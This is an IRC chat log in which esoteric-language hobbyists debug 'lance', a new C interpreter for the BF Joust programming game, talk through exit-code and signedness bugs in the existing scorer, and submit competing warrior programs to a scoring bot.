16:36:58 <elliott> Gregor: Is it because of your JavaScript-induced brain damage? >:)
16:37:16 <Gregor> *sigh*, the poor unindoctrinated.
16:37:27 <elliott> Hey ais523
16:37:40 <elliott> You can either use a line-based BF Joust debugger with live tape display and program editing capabilities
16:37:44 <elliott> Or a browser-based debugger with none of that
16:37:46 <elliott> Which do you use
16:37:55 <elliott> Also the former is far faster for obvious reasons (i.e. C vs. JS)
16:38:36 <oerjan> <Gregor> Mine is browser-based :P <-- i sense some escalation here
16:38:47 -!- BeholdMyGlory has quit (Ping timeout: 255 seconds).
16:38:47 <Ilari> 2.89 (primary blocks minus 1 reserved) + 1.58 (ERX) is 4.47 blocks. That would last about 24 weeks (about 5 and half months) at 0.35 blocks per 2 weeks.
16:40:20 <oerjan> Gregor: also if you want my proposed (({{}})%)% extension then ( and { as well as } and ) match in a somewhat parenthesis-like fashion
16:40:32 <Gregor> Yeah, I got that.
16:40:42 <elliott> $ ./lance '[>[-]+]' '[>[-]-.-.-.-.-.-]'; echo $?
16:40:43 <elliott> 0
16:40:45 <elliott> ais523: It was a... draw.
16:42:59 <elliott> ais523: Any explanation? :-P
16:43:04 <oerjan> elliott: that was correct iirc
16:43:12 <Deewiant> Neither can kill a flag
16:43:13 <elliott> ais523 said that the former loses
16:43:18 <elliott> is he a liar?
16:43:25 <oerjan> one loses all with one polarity, the other with the other polarity
16:43:38 <elliott> oerjan: no this does only one match
16:43:43 <elliott> return duel(program1, program2, SIEVE, 10);
16:43:43 <elliott> }
16:43:44 <oerjan> O KAY
16:45:08 <elliott> "Right warrior failed to parse, left warrior wins!"
16:45:11 <elliott> looks like sloth didn't parse :D
16:45:20 <elliott> erms
16:45:21 <elliott> *erm
16:45:21 <elliott> slug
16:45:24 <elliott> but sloth would have been a better name
16:49:09 * oerjan notes )* is equivalent to {})%
16:51:21 -!- impomatic has joined.
16:52:05 <elliott> ais523: got another set of programs? :P
16:52:23 <ais523> there are plenty on the hill!
16:52:34 <elliott> ais523: they all use ()
16:52:36 <elliott> ok this is totally bugged
16:52:38 <quintopia> elliott: thumbs up on the trace. if it does not flood the screen because it uses curses even better
16:52:41 <elliott> $ ./lance '[>[-]+]' '.'; echo $?
16:52:41 <elliott> 0
16:52:42 <elliott> $ ./lance '.' '[>[-]+]'; echo $?
16:52:42 <elliott> 0
16:52:51 <elliott> quintopia: well your commands will flood the screen (it'll be part of the debugger)
16:53:01 <elliott> quintopia: but you could run it in "animation mode" so to speak
16:53:04 <elliott> where the tape would look like
16:53:25 <elliott> 123 0 94 0 ... 123 0 94 0
16:53:32 <elliott> with the current cell of the warrior highlighted
16:53:39 <elliott> and if they entered the ... region it'd scroll that part
16:53:43 <elliott> this comes after it replaces egojoust ofc :P
16:56:01 <impomatic> Changes to BF Joust?
16:56:44 <ais523> impomatic: no, they're planning a new interp
16:56:49 <ais523> that can handle ({}) efficiently
16:56:54 <ais523> but keeping the rules the same
16:57:06 <impomatic> Ah good :-)
16:57:30 <oerjan> impomatic: it is likely at least two of your warriors will need conversion and resubmission
16:58:00 <oerjan> because you use mismatching ()*n not in the ()*n...()*n format
16:58:44 <elliott> impomatic: what oerjan said
16:58:57 <elliott> also, ([)*nfoo(])*n is Officially Deprecated; I'll probably preprocess it to work, but you should use ({})% from now on
16:59:06 <elliott> but then, the spec has said this all along
16:59:15 <ais523> elliott: preprocess it into ([{foo}])%n
16:59:22 <elliott> ais523: yes, that's what i mean
17:00:02 <elliott> ais523: (A[)*NB(]C)*N -> (A[{B}]C)%n... as for (A[B)*NC(D]E)*N, not sure how to conevrt that
17:00:09 <elliott> *convert
17:00:36 <oerjan> elliott: um the latter is completely similar
17:00:52 <elliott> er, right, of course
17:01:17 <elliott> (A[B)*nC(D]E)*n -> (A[B{C}D]E)%n
17:01:21 <elliott> beyond that i'm not going to bother converting
17:03:06 <elliott> but i want to fix this bug first :D
17:09:04 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>([+{[(-)*7([-{[(-)*122[-]]}])%5]}])%6)*21[-]
17:09:12 <impomatic> Ugly legal version
17:09:38 <elliott> impomatic: Write a preprocessor :-P
17:09:48 <EgoBot> Score for impomatic_sexyghoul: 32.9
17:09:53 <oerjan> impomatic: um you shouldn't resubmit _yet_, egojoust has big _trouble_ with ()%
17:10:00 <oerjan> oh it worked this time
17:10:22 <elliott> but yeah what oerjan said
17:10:35 <oerjan> quintopia: has been complaining about not being able to use %n for n >~ 20. well you didn't, actually.
17:10:44 <oerjan> *quintopia
17:10:47 <impomatic> Does Egojoust only have trouble with ()% if it expands too large?
17:11:08 <oerjan> impomatic: there's at least one definite bug in the code, it miscalculates the resulting program size
17:11:48 <oerjan> (see my lambdabot messages to Gregor earlier)
17:13:01 <oerjan> i think this may cause stray characters to be interpreted after the end of the program.
17:13:30 <oerjan> could be heisenbuggy :/
17:13:52 <oerjan> (note: this is all theoretical)
17:14:04 <oerjan> (except for the fact quintopia _had_ trouble)
17:19:36 <elliott> hm so it actually does timeout
17:19:58 <oerjan> elliott: what times out?
17:20:04 <elliott> the match i'm testing
17:20:17 <elliott> $ ./lance '[>[-]+]' '.' | head -c 10; echo
17:20:17 <elliott> 0 0 0 0 0
17:20:19 <elliott> well that's not right
17:20:29 <elliott> hmm so it's not parsing the programs
17:20:42 <elliott> how strange
17:21:38 <elliott> while (*p++)
17:21:38 <elliott> if (i >= MAXPROG) {
17:21:38 <elliott> fprintf(stderr, "Oi -- your program is too long.\n");
17:21:38 <elliott> exit(1);
17:21:38 <elliott> }
17:21:39 <elliott> switch (*p) {
17:21:41 <elliott> SPOTTE BUG
17:22:58 <elliott> $ ./lance '[>[-]+]' '.'; echo $?
17:22:58 <elliott> Oi -- your program has an unmatched [, and it's all your fault.
17:22:59 <elliott> 1
17:23:00 <elliott> no it doesn't!
17:23:49 <oerjan> elliott: bug: switch (*p) after you already incremented p
17:24:00 <elliott> oerjan: yes, but wrong
17:24:05 <elliott> oerjan: bug was that while block had no {}s :D
17:24:18 <oerjan> ah
17:24:25 <elliott> thx for that btw :P
17:24:35 <elliott> elliott@elliott-MacBookAir:~/Code/lance$ ./lance '[>[-]+]' '.'; echo $?
17:24:35 <elliott> 1
17:24:35 <elliott> elliott@elliott-MacBookAir:~/Code/lance$ ./lance '.' '[>[-]+]'; echo $?
17:24:35 <elliott> 1
17:24:36 -!- quintopia has quit (Ping timeout: 240 seconds).
17:24:37 <elliott> "er."
17:25:23 -!- nescience has quit (Quit: -a-).
17:25:26 <elliott> hey Gregor
17:25:31 <elliott> what does egojoust return if right wins all
17:25:37 <elliott> surely not a negative
17:25:45 -!- BeholdMyGlory has joined.
17:26:38 <oerjan> elliott: return rwins - lwins;
17:26:43 <oerjan> from main
17:26:47 <elliott> oerjan: right
17:26:49 <elliott> oerjan: so what if rwins=0a
17:26:51 <elliott> *0
17:26:52 <elliott> and lwins=big
17:26:55 <elliott> it'll return a large unsigned value
17:27:00 <elliott> yet, this bug doesn't manifest on the hill
17:27:01 <elliott> so...
17:27:05 <oerjan> you'd think
17:27:49 <elliott> [["Kilroy Was Here" is a school play available from Pioneer Drama Services, written by Bill Francoeur and Tim Kelly. Kilroy is a comedy and the setting is a U.S.O. Club ("The Serviceman's 'Home Away From Home'") in Brooklyn in 1942. Ships leaving the nearby Navy yard are being sunk by enemy U-boats. Allied intelligence suspects the club is unknowingly harboring Axis spies. Enter Private Joe Kilroy, a young soldier who draws a curious cartoon face
17:27:49 <elliott> everywhere he goes (and is this causing trouble!). He's the only one who knows where the next Allied convoy will converge. The enemy agents are stopping at nothing to learn his secret. The action builds to an exciting finale during a wild radio broadcast. The score includes such hits as "Don't Say No To The U.S.O.," "Slap That Jukebox," "Jitterbug Saturday Night," and "Rat-a-tat-tat That Rivet," with classic Andrews Sisters style harmony.]] --Wi
17:27:50 <elliott> kipedia
17:27:53 <elliott> *Wikipedia
17:28:00 <oerjan> elliott: report.c does st = WEXITSTATUS(st);
17:28:03 <elliott> I would remove it but I'm too busy WTFing.
17:28:11 -!- jix_ has joined.
17:28:16 <oerjan> st is an int
17:28:23 <elliott> oerjan: hmm
17:28:26 <elliott> i don't see how that can work then
17:28:27 <elliott> Gregor!
17:28:47 <elliott> oerjan: I have a feeling that it might be calculated such that you always end up with 0 if it loses more than it wins
17:29:37 <Deewiant> Is this one of those times where you've found it already, or not?
17:29:39 <oerjan> elliott: oh hm i vaguely recall that being said
17:29:40 -!- Behold has quit (Ping timeout: 255 seconds).
17:29:41 -!- SimonRC has quit (Ping timeout: 265 seconds).
17:29:41 <Deewiant> I guess you found it or you'd be staring at the channel waiting for an answer
17:29:41 -!- jix has quit (Ping timeout: 255 seconds).
17:29:42 -!- SimonRC has joined.
17:29:44 -!- BeholdMyGlory has quit (Changing host).
17:29:44 -!- BeholdMyGlory has joined.
17:29:54 <elliott> Deewiant: Wow, you're lagged.
17:29:55 -!- nescience has joined.
17:30:06 <elliott> Deewiant: Or I am.
17:30:09 <Deewiant> elliott: Yes, clearly
17:30:11 <Deewiant> I was
17:30:25 <Deewiant> I got what I suspect is 8 minutes' worth in the span of 6 seconds
17:30:55 <Deewiant> Guess the server hasn't completely recovered from its issues a few hours back
17:31:00 <Deewiant> And I guess I'm lagging again
17:31:07 <elliott> Deewiant: Hi
17:31:11 <elliott> Deewiant: Not 8 minutes I suspect
17:31:20 <elliott> Deewiant: Unless you got a LOT before that while
17:31:28 <Deewiant> Well, I got your "SPOTTE BUG" at 19:43
17:31:40 <Deewiant> And then I got your "$ ./lance" at 19:51
17:31:55 <Deewiant> Along with your "Wow, you're lagged"
17:32:34 <oerjan> elliott:
17:32:35 <oerjan> st = WEXITSTATUS(st);
17:32:41 <oerjan> er
17:32:43 -!- Behold has joined.
17:32:43 <elliott> oerjan: erm yes i saw that
17:32:46 <oerjan> i mean
17:32:49 <oerjan> 130 if (p1 < p2) {
17:32:49 <oerjan> 131 win = scores[p1*programCount + p2] * -1;
17:32:49 <oerjan> 132 } else {
17:32:49 <oerjan> 133 win = scores[p2*programCount + p1];
17:32:51 <oerjan> 134 }
17:33:12 <oerjan> from report.c
17:33:17 <elliott> wait what.
17:33:23 <Deewiant> elliott: Anyway, while braces, *p++ and then *p, and using i instead of something like p - begin (if you have both a running index and a running pointer... dude.)
17:33:38 <elliott> Deewiant: ...yeah, why do I have i and p :-D
17:35:16 <oerjan> elliott: anyway is there anything wrong with passing an int through an exit code, as long as it's cast back at the end...
17:35:36 <elliott> Deewiant: *actually* I need i
17:35:39 <elliott> Deewiant: because of comments
17:35:42 <elliott> that get stripped from the result
17:35:45 <elliott> i refers to the position in the /result/
17:35:48 <elliott> SO HA
17:35:56 -!- BeholdMyGlory has quit (Ping timeout: 240 seconds).
17:36:05 <elliott> oerjan: well signals do (255 - something)...
17:36:11 <elliott> just sits wrongly with me :D
17:36:21 <oerjan> heh
17:36:47 <oerjan> i guess a signed char would have been less disturbing
17:37:06 -!- Wamanuz2 has joined.
17:38:38 -!- Deewiant has quit (Ping timeout: 240 seconds).
17:41:14 -!- Wamanuz has quit (Ping timeout: 276 seconds).
17:41:47 <oerjan> elliott: hm posix man page for exit shows that only last 8 bits are supposed to be transferred
17:42:06 * elliott just prints out the return for now :P
17:42:37 <elliott> elliott@elliott-MacBookAir:~/Code/lance$ ./lance '.' '[>[-]+]'
17:42:37 <elliott> ..........................................42
17:42:37 <elliott> elliott@elliott-MacBookAir:~/Code/lance$ ./lance '[>[-]+]' '.'
17:42:37 <elliott> ..........................................42
17:42:39 <elliott> wtf...
17:42:59 <elliott> *oh*
17:43:09 <elliott> erm nope
17:45:50 -!- quintopia has joined.
17:45:50 -!- quintopia has quit (Changing host).
17:45:50 -!- quintopia has joined.
17:48:56 <oerjan> !c (-1000) >> 8
17:49:14 <oerjan> !echo hi
17:49:21 <EgoBot> hi
17:49:24 <oerjan> *sigh*
17:49:25 <elliott> you need printf
17:49:28 <oerjan> oh
17:49:31 <elliott> !c printf("%d\n", -1000 >> 8);
17:49:32 <EgoBot> -4
17:49:35 <elliott> also this isn't haskell, - is parsed correctly
17:49:37 <elliott> :)
17:49:48 <oerjan> WHATEVER
17:50:01 <oerjan> i was just looking at #define __WEXITSTATUS(status) (((status) & 0xff00) >> 8)
17:50:36 <oerjan> so if status is signed and 32 bits, this should all give a signed result right
17:51:04 * oerjan doesn't really have a clue here
17:51:33 <oerjan> !c printf("%d\n", -1000 & 0xff00) >> 8)
17:51:34 <EgoBot> Does not compile.
17:51:38 <oerjan> !c printf("%d\n", -1000 & 0xff00) >> 8);
17:51:40 <EgoBot> Does not compile.
17:51:51 <oerjan> !c printf("%d\n", (-1000 & 0xff00) >> 8));
17:51:52 <EgoBot> Does not compile.
17:51:57 <oerjan> NOW WHAT
17:52:19 <oerjan> !c printf("%d\n", ((-1000) & 0xff00) >> 8));
17:52:23 <EgoBot> Does not compile.
17:52:36 <oerjan> !c printf("%d\n", ((-1000) & 0xff00) >> 8);
17:52:40 <EgoBot> 252
17:52:50 <oerjan> apparently not, hm
17:53:10 <oerjan> !c printf("%d\n", ((int)(-1000) & 0xff00) >> 8);
17:53:12 <EgoBot> 252
17:54:11 <oerjan> oh wait...
17:54:22 <oerjan> the result is put into char later
17:54:32 <oerjan> char *scores;
17:54:49 <oerjan> and putc(st, cacheF);
17:55:31 <oerjan> so as long as char is signed, report.c works.
17:55:54 * oerjan recalls this is not guaranteed
17:56:30 <elliott> it is on linux.
17:56:35 <oerjan> yeah
17:56:39 <elliott> hey Gregor can i rewrite half of report.c, sounds like it sucks :D
17:56:45 <oerjan> XD
17:57:07 <elliott> oerjan: ah but note!
17:57:11 <Gregor> I thought I checked signdedness somewhere ...
17:57:16 <elliott> oerjan: when you do "return -1;" that gets turned into 255
17:57:28 <elliott> oerjan: before any other process gets it
17:57:32 <elliott> oerjan: what does that do to your logic? :D
17:57:37 <elliott> oerjan: note that st doesn't contain the status
17:57:45 <elliott> it contains the status somewhere, but its format is essentially ill-defined
17:57:53 -!- Deewiant has joined.
17:57:53 <elliott> tl;dr report.c works out of utter chance.
17:58:06 <elliott> I'm not convinced it _does_ work :P
17:58:18 <oerjan> elliott: um it does after the st = WEXITSTATUS(st); surely?
17:58:27 <elliott> oerjan: oh yes
17:58:40 <Deewiant> Lesson learned: if your Internet connection dies, the solution is not to SSH into your firewall and ifdown its LAN interface
17:58:45 <elliott> but it probably just ends up as 255. but then if you put it into signed char, right, it will work
17:58:56 <elliott> Deewiant: You've totally ruined my image of you as infallible, dude.
17:59:14 <elliott> apparently the programs . and [-] draw, whodathunkit?
17:59:51 <Deewiant> The reasoning was that I wanted access to my cable modem, but I didn't quite realize that I was killing my SSH connection in the process
18:00:50 <oerjan> Gregor: just put signed in front of char *scores; i think.
18:01:17 <elliott> oerjan: well...
18:01:24 <elliott> I'd just let me rewrite report.c personally :-P
18:01:30 <oerjan> O KAY
18:03:34 <oerjan> elliott: hm it's not an automatic loss for a program to end, is it? at least . drawing would seem to imply that
18:03:48 <elliott> oerjan: well it should not be. but it may be.
18:04:04 <elliott> nope, it isn't
18:04:21 <oerjan> [-] on your own flag loses, right?
18:04:28 <oerjan> erm
18:04:35 <oerjan> or wait well duh
18:04:47 <oerjan> elliott: OK I DON'T BELIEVE YOU
18:04:59 <elliott> $ ./lance '[-]' '>'
18:04:59 <elliott> -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 -11 -12 -13 -14 -15 -16 -17 -18 -19 -20 -21 -22 -23 -24 -25 -26 -27 -28 -29 -30 -31 -32 -33 -34 -35 -36 -37 -38 -39 -40 -41 -42
18:05:01 <elliott> at least that works
18:05:09 <elliott> ...wait what
18:05:17 <elliott> XD
18:05:40 <elliott> int ptrs[2] = {0,0};
18:05:41 <elliott> spot the bug oerjan
18:05:42 <elliott> spot the bug
18:06:01 <oerjan> um are those the starting positions
18:06:11 <elliott> yes :D
18:06:12 <oerjan> and you put the warriors in the same spot?
18:06:17 <elliott> yes
18:06:22 <elliott> $ ./lance '<' '.'; echo
18:06:23 <elliott> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
18:06:23 <elliott> $ ./lance '.' '<'; echo
18:06:23 <oerjan> O KAY
18:06:24 <elliott> -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 -11 -12 -13 -14 -15 -16 -17 -18 -19 -20 -21 -22 -23 -24 -25 -26 -27 -28 -29 -30 -31 -32 -33 -34 -35 -36 -37 -38 -39 -40 -41 -42
18:06:25 <elliott> at least that works
18:06:29 <elliott> but [-] doesn't seem to suicide :D
18:06:56 <elliott> for (int i=0; i<2; i++)
18:06:56 <elliott> if (tape[i?tapesz-1:0] == 0) deathcount[i]++;
18:06:56 <elliott> else deathcount[i] = 0;
18:06:56 <elliott> if (deathcount[0] >= 2 && deathcount[1] >= 2) return 0;
18:06:56 <elliott> else if (deathcount[0] >= 2) return 1;
18:06:56 <elliott> else if (deathcount[1] >= 2) return -1;
18:06:58 <elliott> that should _work_ :(
18:07:13 <oerjan> ->
18:08:16 <elliott> oerjan: HEY COME BACK HERE
18:14:18 <oerjan> <-
18:14:31 <oerjan> O KAY
18:14:45 <oerjan> all this gives me the idea of "mexican BFJoust"
18:15:20 <elliott> ais523: http://gcc.gnu.org/onlinedocs/gcc-3.4.1/gcc/Lvalues.html#Lvalues
18:15:21 <elliott> ais523: insanity
18:15:24 <elliott> oerjan: wat
18:15:52 <oerjan> three warriors, on a circular tape, equidistant, all with > clockwise, say
18:16:31 <elliott> oerjan: i approve
18:16:44 <elliott> oerjan: wait but a circular tape is just a wrapping tape
18:16:48 <elliott> so the second warrior would be in the middle, say
18:16:52 <elliott> no wait
18:16:54 <elliott> no wait yes
18:17:32 <oerjan> if the tape has 3n cells, then it wraps, with warriors at positions 0, n, 2n say
18:18:08 <ais523> !bfjoust rule_of_nine (>)*15(+<)*14(>)*14(-[(>)*8((-)*64(-.)*128>)*21]+<)*14(>)*20([(-)*2[+]]>)*8(+.++.)*10000
18:18:46 <ais523> umm, why did I make that leave a trail? obviously that I wasn't thinking
18:21:03 <EgoBot> Score for ais523_rule_of_nine: 0.8
18:22:35 <ais523> !bfjoust rule_of_nine (+>)*9[(-[(>)*8((-)*64(-.)*128>)*21]<)*19(>)*9](+>)*9[(-[(>)*8((-)*64(-.)*128>)*21]<)*19(>)*9](>)*8[--[+]]>[--[.+]](+.++.)*10000
18:22:50 <oerjan> elliott: i see nothing wrong with your above paste
18:23:08 <EgoBot> Score for ais523_rule_of_nine: 0.0
18:33:45 -!- Wamanuz2 has quit (Remote host closed the connection).
18:35:34 -!- Wamanuz has joined.
18:35:45 <ais523> I'm testing rule_of_nine locally now, it's getting better...
18:38:19 <ais523> !bfjoust rule_of_nine (>+)*9(-[(>)*9((-)*64(-.)*128>)*21]+<)*9(>)*9(>+)*9([(-[(>)*9((-)*64(-.)*128>)*21]+<)*18(>)*18)*1000([+.++][+.++]>)*10(+.++.)*100000
18:38:30 <ais523> that still isn't very good, but it should do a lot better than 0
18:38:57 <oerjan> ais523: *100000 is changed to *10000
18:39:06 <EgoBot> Score for ais523_rule_of_nine: 5.0
18:39:32 <ais523> oh, I just meant "until the end of the program"
18:39:32 <oerjan> not that it's likely to matter...
18:41:55 <ais523> !bfjoust speedy1 >>>>>>>>(>-[+[+[---]]])*21
18:42:11 <ais523> umm, there's an obvious fix to /that/ one
18:42:55 <EgoBot> Score for ais523_speedy1: 28.1
18:42:57 -!- asiekierka_ has quit (Ping timeout: 276 seconds).
18:43:32 <ais523> !bfjoust speedy1 >>>>>>>>(>[-[++[---]]])*21
18:43:55 <EgoBot> Score for ais523_speedy1: 31.0
18:44:18 <ais523> let's add a few decoys and see what happens
18:44:32 <ais523> !bfjoust speedy1 >++>-->++>-->>>>(+>[-[++[---]]])*21
18:44:45 <EgoBot> Score for ais523_speedy1: 29.2
18:44:46 <ais523> really, I should change the number now
18:44:55 <ais523> !bfjoust speedy1 <
18:45:10 <ais523> !bfjoust speedy2 >>>>>>>>(>[-[++[---]]])*21
18:45:14 <EgoBot> Score for ais523_speedy1: 0.0
18:45:33 <EgoBot> Score for ais523_speedy2: 31.1
18:45:43 <Gregor> Hmmm, my quick (not yet complete) debugger is working, but it's quite slow :P
18:45:49 <Gregor> Even for "I hacked this up quickly in JavaScript"
18:45:54 <ais523> haha at it being higher up than defend7
18:46:07 <ais523> how the mighty have fallen
18:46:42 <Gregor> Well, actually it's only slow when it has to run all 100K iterations.
18:46:52 <Gregor> Which usually only happens with defend v defend.
18:46:56 -!- MigoMipo has quit (Remote host closed the connection).
18:47:31 -!- MigoMipo has joined.
18:51:07 -!- Tritonio has joined.
18:54:30 -!- hagb4rd has quit (Ping timeout: 240 seconds).
18:55:19 <Gregor> ais523, elliott (haha you don't care), whoever: http://codu.org/eso/bfjoust/egojsout/egojsout.html // Stick a program in each box, click "Run", then click on the result of a particular run to see the step-by-step breakdown. If it takes all 100K iterations, you'll be waiting a while :P
18:55:44 <ais523> Gregor: I've been doing that locally already, but it might be useful for if I'm not at my computer
18:55:53 <Gregor> ais523: This is prettier :P
18:57:32 <ais523> it seems to draw one element beyond the flags on each side, is that deliberate?
18:57:47 <ais523> oh, loss count?
18:58:06 <Gregor> Loss count, yeah
18:58:28 <elliott> Gregor: It sucks because it's browser-based any questions!
18:58:39 <ais523> !bfjoust vibration2 >>+<-<(-)*128(+-)*10000(+-)*10000(+-)*10000(+-)*10000(+-)*10000
18:59:36 <EgoBot> Score for ais523_vibration2: 14.4
18:59:45 -!- elliott has quit (Remote host closed the connection).
19:01:39 -!- elliott has joined.
19:02:09 <elliott> Gregor: Mind if I call my rewritten report.c lancealot?
19:02:14 <elliott> Because, you see, it runs lance a lot.
19:02:33 <Gregor> I don't care what you call your report.c since I'll be using my own.
19:02:53 <ais523> !bfjoust vibration2 >>+++<---<(-)*128(+-)*10000(+-)*10000(+-)*10000(+-)*10000(+-)*9939(-)*100
19:03:50 <EgoBot> Score for ais523_vibration2: 12.0
19:04:02 <Gregor> Watching defend14 is a thing of beauty X-D
19:04:03 <elliott> Gregor: But its return code mechanism is insane.
19:04:15 <ais523> Gregor: what should I watch it against?
19:04:23 <ais523> elliott: note that -1 isn't a valid UNIX return code
19:04:34 <elliott> ais523: Yay, so report.c is even more broken.
19:04:35 <Gregor> ais523: Idonno, I was watching it against wireless_frowny
19:05:00 <elliott> Gregor: Srsly, I'm not going to make lance to blatantly invalid things just because report.c does crazy stuff. What's wrong with changing it
19:05:02 <Gregor> Oh, I'm sorry that it doesn't run on the purely-hypothetical OS that doesn't exist and it isn't running on.
19:05:28 <elliott> I don't see why you're so adamant to keep using the exact same code
19:05:38 <Gregor> You misunderstand.
19:05:41 <Gregor> I'm adamant about bothering you.
19:06:12 <elliott> Enjoy laggy EgoJoust then :-P
19:06:27 <elliott> s/laggy/laggy and broken on %
19:06:32 <elliott> s/%$/%\//
19:06:41 <Gregor> Yeah, fixing report is TOTALLY going to make it faster X-P
19:07:04 <elliott> Gregor: No, but I'm not going to mess with lance to make it do invalid things and multiply by two arbitrarily just so that report.c doesn't have to change :P
19:07:13 <Gregor> I don't care if you rewrite report, but I'd like to see SOMETHING actually come out of this and if you go "this all sucks because it's not PERFECTION ON A SANDWICH so I'm rewriting it" then instead I'll get nothing.
19:07:42 <elliott> By rewrite I probably just mean tweak
19:08:18 <elliott> Gregor: And hey, it'll stop the reports clashing with each other, so quit yer yappin' :P
19:08:20 <elliott> (The breakdowns)
19:08:46 <Gregor> MAN, all this debugger is accomplishing is making me realize how wildly outclassed I am >_<
19:09:44 <elliott> Oh yeah? Well LANCE'S debugger uses STRONG AI to make COMMENTARY on the match and SUGGESTS improvements to your program!
19:09:49 <quintopia> does the debugger have drop down menus to select programs from the hill?
19:10:20 <Gregor> Oh for fucks sake X_X
19:10:27 <elliott> Gregor: Mine was joke btw
19:10:33 <Gregor> elliott: Yeah, I got that :P
19:10:41 <elliott> JUST CHECKIN'
19:11:00 <elliott> You could do a dropdown client-side by AJAXXXXXXXin' to in_egobot/ :-P
19:12:13 <elliott> Dammit Emacs, why you forget my font settings
19:12:23 <Gregor> elliott: That's what I'm doing :P
19:12:23 <Gregor> (More or less)
19:12:43 <elliott> Gregor: This is like the one situation where PHP would be appropriate :P
19:12:53 <Gregor> I am using PHP on the server :P
19:12:56 <Gregor> Hence the "more or less" part.
19:13:12 <elliott> Gregor: Why not just send all programs down in a JS object at page load then
19:13:14 <elliott> NO AJAX AT ALL
19:13:18 <elliott> Unless you thought I meant JS by AJAX.
19:13:27 <elliott> I'm not a horrible excuse for a human being so I don't say AJAX to mean JS.
19:13:32 <Gregor> PHP is generating the original use.
19:13:34 <Gregor> Err
19:13:35 <quintopia> Gregor: i only ask because copypasta is difficult on my phone :P
19:13:36 <Gregor> *original list
19:13:46 <Gregor> quintopia: Yeahyeah, I'm doin' it :P
19:14:25 <elliott> Gah, Emacs, give me the right font size
19:14:41 <elliott> I want to size it in PIXELS because you're DUMB
19:15:04 <elliott> <Gregor> HA HA, VIM
19:15:16 <elliott> (set-default-font "Monospace-10.5")
19:15:16 <elliott> Wooooo
19:16:53 <elliott> lance: lance.c; $(shell grep '* compile:' $< | cut -d' ' -f4-)
19:16:53 <elliott> I still think this is the best Makefile rule ever written.
19:17:50 <elliott> Sweet, programs still aren't being stored ... somehow ...
19:18:07 <elliott> Wait *what*...
19:18:47 <elliott> Looks like my programs are... circular...
19:18:57 <elliott> ...which is cool mind, but not what I was going for.
19:19:52 <elliott> Oh DUR
19:20:55 -!- Tritonio_GR has joined.
19:20:59 -!- Tritonio has quit (Ping timeout: 240 seconds).
19:24:13 <elliott> $ ./lance '.' ''
19:24:13 <elliott> ..........................................
19:24:13 <elliott> Right wins (0)
19:24:18 <elliott> X-D
19:24:22 <elliott> Oops in output code.
19:24:59 <elliott> Gregor: How long does it take egojoust to pit [] against [] with all polarities/tape sizes? Not bragging, just really want a point of comparison :-P
19:25:07 <elliott> 0.074s for lance.
19:25:28 <Gregor> I have no friggin' clue, don't care to check, and would be running it on a VM making the comparison meaningless.
19:25:45 <elliott> I'll just assume lance is better then :-P
19:25:54 <elliott> Hmm, it does think that [] beats [>[-]+] though.
19:26:01 <elliott> That doesn't seem...quite...right.
19:26:55 <elliott> And polarity isn't working quite right.
19:26:59 <Sgeo_> Have the Borg met the Changelings?
19:27:23 <elliott> ais523: ping
19:27:28 <elliott> wait why did i ping
19:27:30 <ais523> elliott: pong
19:27:39 <elliott> ais523: the polarities are ++ and +- right?
19:27:43 <ais523> yes
19:27:53 <elliott> ais523: so this is entirely understandable,
19:27:59 <elliott> elliott@elliott-MacBookAir:~/Code/lance$ ./lance '[>[-]+]' '[>[-]+]'
19:27:59 <elliott> ..........................................
19:27:59 <elliott> Right wins (32)
19:27:59 <elliott> elliott@elliott-MacBookAir:~/Code/lance$ ./lance '[>[+]-]' '[>[-]+]'
19:27:59 <elliott> ..........................................
19:28:00 <elliott> Left wins (-42)
19:28:01 <elliott> well
19:28:03 <elliott> ok
19:28:07 <Gregor> There, egojsout now gets the hill from the server.
19:28:07 <elliott> the first isn't understandable
19:28:08 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
19:28:09 <elliott> because it should be a draw
19:28:11 <elliott> but the latter has got me confused :P
19:28:23 <elliott> why is it getting wins wrong...
19:28:28 <ais523> they should both be draws
19:28:41 -!- Tritonio_GR has joined.
19:28:47 <elliott> indeed
19:29:28 <elliott> $ ./lance '[>[-]+]' '[>[-]+]'
19:29:29 <elliott> >>>>>>>>>>>>>>>>>>>>>>X>X>X>X>X>X>X>X>X>X>
19:29:29 <elliott> Right wins (32)
19:29:30 <elliott> >_<
19:30:48 <elliott> $ ./lance '<' '<'
19:30:48 <elliott> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
19:30:48 <elliott> Right wins (42)
19:30:49 <elliott> Aha.
19:30:50 <elliott> BIAS!
19:32:08 <quintopia> gregor: is bfjsout supposed to do anything but display the breakdowns?
19:32:27 <quintopia> i'm not seeing it step through in realtime >_>
19:32:36 <Gregor> quintopia: Click on an element of the breakdown.
19:32:43 <quintopia> oh
19:33:04 <Gregor> You can't step through real-time for 42 runs (well, I could, but it'd be dumb)
19:33:18 <elliott> $ ./lance '[>[+]-]' ''
19:33:18 <elliott> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
19:33:18 <elliott> Nobody wins (0)
19:33:18 <elliott> *eyebrow*
19:34:28 <elliott> Gregor: Heh, I like the hex tape display, might steal that >_>
19:35:18 <elliott> Gregor: May I humbly suggest replacing the X with an =, so that it's clearly distinct from the number
19:35:24 <elliott> That vaguely makes sense in context of the comparison operators :P
19:35:28 <elliott> And because the cell is "tied"
19:35:44 <Gregor> elliott: I wasn't thinking comparison operators, I was thinking arrows :P
19:35:48 <Gregor> But I suppose that would be more distinct.
19:35:55 <elliott> It's a pun, it doesn't have to make sense :P
19:36:07 -!- nescience has quit (Read error: Connection reset by peer).
19:38:23 <elliott> My bug was fixed by... recompiling?
19:38:34 <elliott> $ ./lance '[>[-]+]' '[>[+]-]'
19:38:34 <elliott> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
19:38:35 <elliott> Right wins (42)
19:38:37 <elliott> Or not
19:39:45 <Gregor> You're always checking the prevalue, right?
19:39:53 <Gregor> Not letting one commit then checking the other?
19:40:02 <elliott> Gregor: In loops? Yeha.
19:40:03 <elliott> *Yeah.
19:40:20 <elliott> for (int cycles=0; cycles<MAXCYCLES; cycles++) {
19:40:20 <elliott> /* in case the first warrior changes the cell */
